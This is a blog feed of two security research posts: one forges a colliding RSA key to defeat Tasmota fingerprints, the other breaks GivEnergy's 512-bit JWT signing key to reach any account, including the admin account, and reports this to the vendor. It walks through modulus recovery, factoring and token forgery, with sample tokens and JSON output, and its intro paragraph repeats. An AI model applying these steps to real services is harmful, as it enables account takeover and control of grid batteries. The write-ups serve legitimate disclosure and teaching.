<code> <span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">.</span><span class="pgcssn">pem</span><span class="pgcssp">)</span></code>
</td></tr></tbody></table></div>
<p>Theory is all well and good, but does this <em>actually</em> work on real world keys?
How about <a class="external" href="proxy.php?url=https%3A%2F%2Fcrt.sh%2F%3Fid%3D3055367778">this key for nsa.gov</a>?</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos"> </td><td>
<code>Subject: CN = www.defense.gov</code>
</td></tr><tr><td class="linenos"> </td><td>
<code>Subject Public Key Info:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Public Key Algorithm: rsaEncryption</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> RSA Public-Key: (2048 bit)</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Modulus:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 00:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:15:52:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:6f:91:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:3b:26:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:41:11:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:76:8e:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:c5:d4:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:76:9a:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 4d:81:e2:c2:2f:a4:61:18:47:6b:eb:ab:78:b0:5b:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 74:01</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Exponent: 65537 (0x10001)</code>
</td></tr></tbody></table></div>
<p>This serializes out to <tt class="literal"><span class="pre">7373682d727361010001c94b58d1...f37401</span></tt>, and
Tasmota’s fingerprint for it is:</p>
<p><tt class="literal">87 55 2E C2 AF 2F F3 2A A7 BE A8 71 B7 69 F7 B6 09 FC 97 A2</tt></p>
<p>The cracker I wrote successfully factored a colliding key in less than a minute.</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos"> </td><td>
<code>Subject: CN = www.defense.gov</code>
</td></tr><tr><td class="linenos"> </td><td>
<code>Subject Public Key Info:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Public Key Algorithm: rsaEncryption</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> RSA Public-Key: (1176 bit)</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Modulus:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 00:a4:61:18:47:6b:eb:ab:78:b0:5b:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 8a:51:0d:69:c6:7b:eb:f6:48:90:05:7f:fe:5f:c8:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 92:a3:8c:f6:51:c1:45:ce:27:51:2f:c9:c8:e4:b3:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 2f:bc:49:95:dc:71:f1:62:c3:d9:8f:3f:b8:8f:57:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 9c:c6:58:2b:d3:cb:75:ab:83:ae:ef:fb:9d:49:d4:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 05:b3:1a:e0:62:c5:be:d4:3e:a9:d5:55:f6:eb:92:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 94:59:83:7d:45:ef:99:42:6d:0e:15:b7:90:7b:64:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 74:01</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> Exponent:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:</code>
</td></tr><tr><td class="linenos"> </td><td>
<code> 76:9a:4d:81:e2:c2:2f</code>
</td></tr></tbody></table></div>
<p>The factors are 13, 1,091, 15,032,926,429, and a 340 digit prime that
doesn’t need to be printed here.</p>
<p><em>Postscript</em></p>
<p>I ended up submitting a patch to Tasmota that did an in-place upgrade of the
fingerprint while maintaining backwards compatibility and still mitigating the
attack. Details can be found in Tasmota’s issue tracker:
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fissues%2F10571">https://github.com/arendst/Tasmota/issues/10571</a></p>
Hacking a Virtual Power Plant2024-08-07T21:53:00+01:002024-08-07T21:53:00+01:00ryanctag:rya.nc,2024-08-07:/vpp-hack.html<!-- included from `include/globals.rst` -->
<p>I recently had solar panels and a battery storage system from
<a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2F">GivEnergy</a> installed at my house. A major selling
point for me was that they have a local network API which can be used to monitor
and control everything without relying on their cloud services. My plan is to
set up
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.home-assistant.io%2F">Home Assistant</a>
and integrate it with that, but in the meantime, I decided to let it talk to
the cloud. I set up some scheduled charging, then started experimenting with
the API.</p>
<p>The next evening, I had control over a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FVirtual_power_plant">virtual power plant</a> comprised
of tens of thousands of grid connected batteries.</p>
<!-- included from `include/globals.rst` -->
<p>I recently had solar panels and a battery storage system from
<a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2F">GivEnergy</a> installed at my house. A major selling
point for me was that they have a local network API which can be used to monitor
and control everything without relying on their cloud services. My plan is to
set up
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.home-assistant.io%2F">Home Assistant</a>
and integrate it with that, but in the meantime, I decided to let it talk to
the cloud. I set up some scheduled charging, then started experimenting with
the API.</p>
<p>The next evening, I had control over a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FVirtual_power_plant">virtual power plant</a> comprised
of tens of thousands of grid connected batteries.</p>
<div class="section" id="trying-out-the-api">
<h2><a href="#trying-out-the-api" rel="bookmark">Trying Out the API</a></h2>
<p>When I went to generate an API token, I was pleasantly surprised to find
options for expiration time and fine-grained control over permissions. I
clicked “generate”, and got:</p>
<div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td>
<code>eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.<wbr>eyJhdWQiOiJjMWI4NWFmYS1lMzIyLTQ3NTAtYTQyMi01NDQxYjNkNjgzYzIiLCJqdGkiOiJhZDI5ZTViNDM3OTBkNmZhY2Q2YWRjOGUxMjE0YjI0YzcwYTZhMWE3YzJmZDc5YzRhODBjMmVjNzU4YmViMDNhOGM2ZTE4MWFlMTk3YmU5NyIsImlhdCI6MTcyMDM3ODAxMi4wMjg4NTgsIm5iZiI6MTcyMDM3ODAxMi4wMjg4NjEsImV4cCI6MTcyMDk4MjgxMi4wMTg5NzIsInN1YiI6IjMxMzM3Iiwic2NvcGVzIjpbImFwaSJdfQ.<wbr>Q8UVWQ__jNd11u6tonBnu75idIwam9vrLXObdkD3R0ynXK30tBW-<wbr>9MwujEC-<wbr>NQZFNLuE9riMGrP30VPSFGhTlw</code>
</td></tr></tbody></table></div>
<p>From the <code>eyJ</code> prefix, I recognized a base64 encoded JSON object.
Upon closer inspection, it turned out to be two JSON objects and some binary
data, separated by periods:</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td>
<code><span class="pgcssp">{</span><span class="pgcssnt">&quot;typ&quot;</span><span class="pgcssp">:</span><span class="pgcsss2">&quot;JWT&quot;</span><span class="pgcssp">,</span><span class="pgcssnt">&quot;alg&quot;</span><span class="pgcssp">:</span><span class="pgcsss2">&quot;RS256&quot;</span><span class="pgcssp">}</span></code>
</td></tr></tbody></table></div>
<div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td>
<code><span class="pgcssp">{<wbr></span><span class="pgcssnt">"<wbr>aud"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>c1b85afa-<wbr>e322-<wbr>4750-<wbr>a422-<wbr>5441b3d683c2"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>jti"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>ad29e5b43790d6facd6adc8e1214b24c70a6a1a7c2fd79c4a80c2ec758beb03a8c6e181ae197be97"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>iat"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720378012.<wbr>028858</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>nbf"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720378012.<wbr>028861</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>exp"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcssmf">1720982812.<wbr>018972</span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>sub"<wbr></span><span class="pgcssp">:<wbr></span><span class="pgcsss2">"<wbr>31337"<wbr></span><span class="pgcssp">,<wbr></span><span class="pgcssnt">"<wbr>scopes"<wbr></span><span class="pgcssp">:<wbr>[<wbr></span><span class="pgcsss2">"<wbr>api"<wbr></span><span class="pgcssp">]<wbr>}<wbr></span></code>
</td></tr></tbody></table></div>
<div class="highlight"><table class="highlighttable"><tbody><tr><td>
<code><span class="pgcssnl">00000000</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">43</span><span class="pgcssw"> </span><span class="pgcssmh">c5</span><span class="pgcssw"> </span><span class="pgcssmh">15</span><span class="pgcssw"> </span><span class="pgcssmh">59</span><span class="pgcssw"> </span><span class="pgcssmh">0f</span><span class="pgcssw"> </span><span class="pgcssmh">be</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">d7</span><span class="pgcssw"> </span><span class="pgcssmh">75</span><span class="pgcssw"> </span><span class="pgcssmh">d6</span><span class="pgcssw"> </span><span class="pgcssmh">ee</span><span class="pgcssw"> </span><span class="pgcssmh">ad</span><span class="pgcssw"> </span><span class="pgcssmh">a2</span><span class="pgcssw"> </span><span class="pgcssmh">70</span><span class="pgcssw"> </span><span class="pgcssmh">67</span><span class="pgcssw"> </span><span class="pgcssmh">bb</span><span class="pgcssw"> </span><span class="pgcssp">|</span><span class="pgcsss">C..Y....u....pg.</span><span class="pgcssp">|</span></code>
</td></tr><tr><td>
<code><span class="pgcssnl">00000010</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">be</span><span class="pgcssw"> </span><span class="pgcssmh">62</span><span class="pgcssw"> </span><span class="pgcssmh">74</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">1a</span><span class="pgcssw"> </span><span class="pgcssmh">9b</span><span class="pgcssw"> </span><span class="pgcssmh">db</span><span class="pgcssw"> </span><span class="pgcssmh">eb</span><span class="pgcssw"> </span><span class="pgcssmh">2d</span><span class="pgcssw"> </span><span class="pgcssmh">73</span><span class="pgcssw"> </span><span class="pgcssmh">9b</span><span class="pgcssw"> </span><span class="pgcssmh">76</span><span class="pgcssw"> </span><span class="pgcssmh">40</span><span class="pgcssw"> </span><span class="pgcssmh">f7</span><span class="pgcssw"> </span><span class="pgcssmh">47</span><span class="pgcssw"> </span><span class="pgcssmh">4c</span><span class="pgcssw"> </span><span class="pgcssp">|</span><span class="pgcsss">[email protected]</span><span class="pgcssp">|</span></code>
</td></tr><tr><td>
<code><span class="pgcssnl">00000020</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">a7</span><span class="pgcssw"> </span><span class="pgcssmh">5c</span><span class="pgcssw"> </span><span class="pgcssmh">ad</span><span class="pgcssw"> </span><span class="pgcssmh">f4</span><span class="pgcssw"> </span><span class="pgcssmh">b4</span><span class="pgcssw"> </span><span class="pgcssmh">15</span><span class="pgcssw"> </span><span class="pgcssmh">bf</span><span class="pgcssw"> </span><span class="pgcssmh">f4</span><span class="pgcssw"> </span><span class="pgcssmh">cc</span><span class="pgcssw"> </span><span class="pgcssmh">2e</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">40</span><span class="pgcssw"> </span><span class="pgcssmh">bf</span><span class="pgcssw"> </span><span class="pgcssmh">35</span><span class="pgcssw"> </span><span class="pgcssmh">06</span><span class="pgcssw"> </span><span class="pgcssmh">45</span><span class="pgcssw"> </span><span class="pgcssp">|</span><span class="pgcsss">.\[email protected]</span><span class="pgcssp">|</span></code>
</td></tr><tr><td>
<code><span class="pgcssnl">00000030</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmh">34</span><span class="pgcssw"> </span><span class="pgcssmh">bb</span><span class="pgcssw"> </span><span class="pgcssmh">84</span><span class="pgcssw"> </span><span class="pgcssmh">f6</span><span class="pgcssw"> </span><span class="pgcssmh">b8</span><span class="pgcssw"> </span><span class="pgcssmh">8c</span><span class="pgcssw"> </span><span class="pgcssmh">1a</span><span class="pgcssw"> </span><span class="pgcssmh">b3</span><span class="pgcssw"> </span><span class="pgcssmh">f7</span><span class="pgcssw"> </span><span class="pgcssmh">d1</span><span class="pgcssw"> </span><span class="pgcssmh">53</span><span class="pgcssw"> </span><span class="pgcssmh">d2</span><span class="pgcssw"> </span><span class="pgcssmh">14</span><span class="pgcssw"> </span><span class="pgcssmh">68</span><span class="pgcssw"> </span><span class="pgcssmh">53</span><span class="pgcssw"> </span><span class="pgcssmh">97</span><span class="pgcssw"> </span><span class="pgcssp">|</span><span class="pgcsss">4.........S..hS.</span><span class="pgcssp">|</span></code>
</td></tr></tbody></table></div>
<p>More precisely, a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FJSON_Web_Token">JSON Web Token</a> (JWT) signed with an RSA+SHA-256.</p>
<p>In the past, some JWT implementations allowed verification to be bypassed by
changing the algorithm to “none”, so I tried that. It didn’t work, which was
a relief. That signature though... 64 bytes? At eight bits per byte that’s 512
bits. But that would mean an easily crackable 512 bit RSA key. I hoped this
wasn’t as bad as it seemed. Perhaps each account had a different key?</p>
</div>
<div class="section" id="signing-like-its-1999">
<h2><a href="#signing-like-its-1999" rel="bookmark">Signing Like It’s 1999</a></h2>
<p>The first publicly known
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.iacr.org%2Farchive%2Feurocrypt2000%2F1807%2F18070001-new.pdf">factorization of a 512 bit RSA modulus</a>
was completed in August of 1999.</p>
<blockquote>
<p>[W]e estimate that
within three years the algorithmic and computer technology which we used
to factor RSA–155 will be widespread […]. This makes these keys
useless for authentication or for the protection of data required to be
secure for a period longer than a few days.</p>
<p class="attribution">—Cavallar et al.</p>
</blockquote>
<p>In 2009, several 512 bit RSA signing keys for Texas Instruments graphing
calculators were
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.theregister.com%2F2009%2F09%2F23%2Ftexas_instruments_calculator_hacking%2F">cracked by hobbyists</a>.
The point was further driven home in 2015 by the
<a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Finformation-technology%2F2015%2F10%2Fbreaking-512-bit-rsa-with-amazon-ec2-is-a-cinch-so-why-all-the-weak-keys%2F">factoring as a service</a>
paper:</p>
<blockquote>
<p>In this paper, we present an improved implementation which is able to factor
a 512-bit RSA key on Amazon EC2 in as little as four hours for $75.</p>
<p class="attribution">—<a class="external" href="proxy.php?url=https%3A%2F%2Feprint.iacr.org%2F2015%2F1000.pdf">Valenta et al.</a></p>
</blockquote>
<p>Despite this, many modern cryptography libraries still support using and even
creating the these keys almost a decade later.</p>
</div>
<div class="section" id="recovering-the-modulus">
<h2><a href="#recovering-the-modulus" rel="bookmark">Recovering the Modulus</a></h2>
<p>With the factors of the JWT private signing key, I could reconstruct the rest
of the parameters and produce modified API tokens that should be accepted as
valid. I’d factored eBay’s 512 bit <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDomainKeys_Identified_Mail">DKIM</a> key
in April of 2012, so I had a pretty good idea of what to do. The problem was,
I had nothing to factor. Just some signed data. Maybe I could use that to get
what I needed?</p>
<p><i>Skip the rest of this section if you’re not interested in the math.</i></p>
<p>RSA needs three values to work, the modulus <span class="formula"><i>n</i></span>, the private exponent
<span class="formula"><i>d</i></span>, and the public exponent <span class="formula"><i>e</i></span>. An RSA signature is computed as
<span class="formula"><i>s</i> = <i>m</i><sup><i>d</i></sup> <span class="text">mod</span> <i>n</i></span> — message <span class="formula"><i>m</i></span> is raised to the
power of <span class="formula"><i>d</i></span> modulo <span class="formula"><i>n</i></span>. It’s validated by checking that
<span class="formula"><i>s</i><sup><i>e</i></sup> <span class="text">mod</span> <i>n</i> ≡ <i>m</i></span>. With the prime factors of <span class="formula"><i>n</i></span>, it’s
trivial to calculate <span class="formula"><i>d</i></span>, and for a 512 bit key finding the prime
factors is doable, but I didn’t have <span class="formula"><i>n</i></span> or <span class="formula"><i>e</i></span>. By convention,
<span class="formula"><i>e</i></span> is nearly always 65537, but I had no idea what <span class="formula"><i>n</i></span> was. I do,
however, know algebra.</p>
<p>Subtracting <span class="formula"><i>m</i></span> from both sides of the signature verification equation
gives <span class="formula"><i>s</i><sup><i>e</i></sup> <span class="text">mod</span> <i>n</i> − <i>m</i> ≡ 0</span>. Since modular subtraction is
associative, that also means that
<span class="formula"><i>s</i><sup><i>e</i></sup> − <i>m</i> <span class="text">mod</span> <i>n</i> ≡ 0</span>. The modulo operation finds the
remainder, so <span class="formula"><i>s</i><sup><i>e</i></sup> − <i>m</i></span> is an integer multiple of <span class="formula"><i>n</i></span>. This is not
useful on its own, but it means that with another message and signature,
I’d have two different integer multiples of <span class="formula"><i>n</i></span>. Running those through
a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGreatest_common_divisor">GCD</a> algorithm would give me
<span class="formula"><i>n</i> × <i>x</i></span> where <span class="formula"><i>x</i></span> is a small integer, easily factored out by
trial division.</p>
</div>
<div class="section" id="this-isnt-textbook-rsa">
<h2><a href="#this-isnt-textbook-rsa" rel="bookmark">This Isn’t Textbook RSA</a></h2>
<p>The math above only covers
“<a class="external" href="proxy.php?url=https%3A%2F%2Fcrypto.stackexchange.com%2Fa%2F1449%2F">Textbook RSA</a>”
operating on raw numbers, which has
a number of problems in practice. It can only operate on numbers smaller than
the key’s modulus. The numbers also can’t be too small, otherwise various
attacks are possible. To address this, the message is hashed and padded using
<a class="external" href="proxy.php?url=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2437%23section-9.2.1">PKCS #1 v1.5 encoding</a>
before being signed. Not wanting to deal with the encoding,
I went looking for a pre-existing tool. After a few false starts, I found
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2FFlorianPicca%2FJWT-Key-Recovery">JWT-Key-Recovery</a>,
which quickly provided the modulus.</p>
</div>
<div class="section" id="cracking-the-key">
<h2><a href="#cracking-the-key" rel="bookmark">Cracking the Key</a></h2>
<p>The modulus is generated by picking large prime numbers, usually denoted
<span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>, and multiplying them together. If you want more
detail, please see my previous post,
<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html%23a-quick-review-of-rsa-keys">Artisnal RSA</a>. The most
efficient known algorithm for factoring the modulus back into primes is called
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGeneral_number_field_sieve">general number field sieve</a> (GNFS). This wasn’t my first time cracking
an RSA key, but it’d been a while, so I found
<a class="external" href="proxy.php?url=https%3A%2F%2Fy5c4l3.net%2F2023%2F08%2F19%2Frecovering-rsa-key-pair-with-cado-nfs%2F%23recover-key-pair">some instructions</a>.
I started <code>cado-nfs</code> on my workstation and let it run overnight. By the
time I got done with work the next day, I was feeling impatient and rented a
few hundred CPU cores to make it go faster. A few hours and a $70 compute bill
later, I had the two prime numbers I needed.</p>
</div>
<div class="section" id="exploiting-the-vulnerability">
<h2><a href="#exploiting-the-vulnerability" rel="bookmark">Exploiting the Vulnerability</a></h2>
<p>I used <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html%23mprsa-py">my own tool</a> to generate the private
key, made a trivial change to my API token, signed it, and made a request. It
worked. I still wasn’t sure whether the key was specific to my account, so
I needed another to try.</p>
<p>The easy way would have been to just try a random
account id, but that would expose that customer’s personal information, which
would be a bit rude to say the least. Poking around a bit, I noticed “View
Demo Dashboard” on the login page. That’d do. A few minutes of fiddling with
developer tools and I had the account id.</p>
<p>Changing the API token, I requested “my” account details:</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td>
<code><span class="pgcssp">{</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;address&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Unit C4 Fenton Trade Park&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;country&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;UNITED_KINGDOM&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;email&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;████@givenergy.co.uk&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;first_name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Demo&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;id&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmi">8533</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;DemoAccount20&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;postcode&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ST4 2TE&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;role&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;VIEWER&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;standard_timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Europe/London&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;surname&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;User&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;telephone_number&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████████&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;GMT&quot;</span></code>
</td></tr><tr><td>
<code><span class="pgcssp">}</span></code>
</td></tr></tbody></table></div>
<p>The account ids seemed to be sequential, so I could just change that and
access any of them. I had another look at the
<a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.cloud%2Fdocs%2Fapi%2Fv1%23account-GETaccount--user_id-">API documentation</a>
and saw there were some methods limited to “engineer+”. Plus? I tried setting
the account id to “1”, figuring it’d probably be an admin account. Indeed it
was, and seemingly subject to no permissions checks, as I could access data
for my own system from it.</p>
<p>All your battery are belong to us.</p>
</div>
<div class="section" id="the-vendor-response">
<h2><a href="#the-vendor-response" rel="bookmark">The Vendor Response</a></h2>
<p>Just before bed on July 8<sup>th</sup> I sent off an email to their head of
security<a class="footnote-reference" href="#id2">[1]</a><a id="id1"></a> politely explaining what I’d done and why it was a problem.
I included the following as proof:</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td>
<code><span class="pgcssp">{</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;address&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Unit 1 Osprey House, Brymbo Road&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;country&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;UNITED_KINGDOM&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;email&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;███████@givenergy.co.uk&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;first_name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Giv&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;id&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcssmi">1</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;name&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Givenergy01&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;postcode&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ST5 9HX&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;role&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;ADMIN&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
<code><span class="pgcssw"> </span><span class="pgcssnt">&quot;standard_timezone&quot;</span><span class="pgcssp">:</span><span class="pgcssw"> </span><span class="pgcsss2">&quot;Europe/London&quot;</span><span class="pgcssp">,</span></code>
</td></tr><tr><td>
